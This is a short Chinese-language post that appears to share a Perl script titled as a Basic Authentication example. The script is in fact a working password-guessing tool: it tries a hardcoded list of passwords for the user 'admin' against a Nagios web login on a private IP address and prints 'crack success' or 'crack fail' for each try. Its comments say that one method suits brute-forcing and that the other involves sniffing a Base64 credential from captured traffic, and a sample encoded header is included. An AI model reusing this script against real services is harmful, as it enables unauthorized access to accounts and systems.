Perl脚本Basic Authentication方法

Perl脚本Basic Authentication方法

#!/usr/bin/perl

use strict;
use warnings;
use HTTP::Request;
use LWP::UserAgent;
use Data::Dumper;
use Getopt::Std;

my %options = ();
getopt("d:",\%options);

my $debug = $options{d} || 0;

my @password_array = qw(ken jack sunny ben kick);

&main(@password_array);



sub main {
    foreach my $password (@_) {
        my $status = &get_url($password);
        if ($status == 1) {
                last;
        }
    }
}


sub get_url {
    my $password = shift;

    my $ua;
    my $req;
    my $res;

    my $url = 'http://192.168.4.40:8010/nagios';

    $ua = LWP::UserAgent->new;
    $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3');
    $ua->timeout(5);

    $req = HTTP::Request->new( GET => $url );
    #方法1:使用Firefox登陆这个Url输入用户密码时抓包，将密文抓下来。贴在下面
    #$req->header("Authorization" => 'Basic bW9ua3R4cep1Y3dlYl9tb25pdG9y');
    #方法2:可以直接输入用户名和密码，适合进行穷举时使用
    $req->authorization_basic('admin', $password);

    $res = $ua->request($req);
    print "************************** content begin **************************\n" if $debug;
    print $res->content . "\n" if $debug;
    print "************************** content end **************************\n" if $debug;

    print '*************************** Dumper $res ***************************' . "\n" if $debug;
    print Dumper $res if $debug;
    print '*************************** Dumper $res ***************************' . "\n" if $debug;

    if ($res->is_success) {
        print "crack success,password: " . $password . "\n";
        return 1;
    } else {
        print "crack fail,password: " . $password . "\n";
        return 0;
    }
}